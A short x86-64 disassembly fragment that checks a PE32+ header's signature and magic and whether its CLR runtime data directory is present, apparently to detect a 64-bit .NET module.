cmp dword [rcx], 0x4550
jne 0x140004a76
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004a76
cmp dword [rcx + 0x84], 0xe
jbe 0x140004a76
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004a78
xor al, al
add rsp, 0x28
ret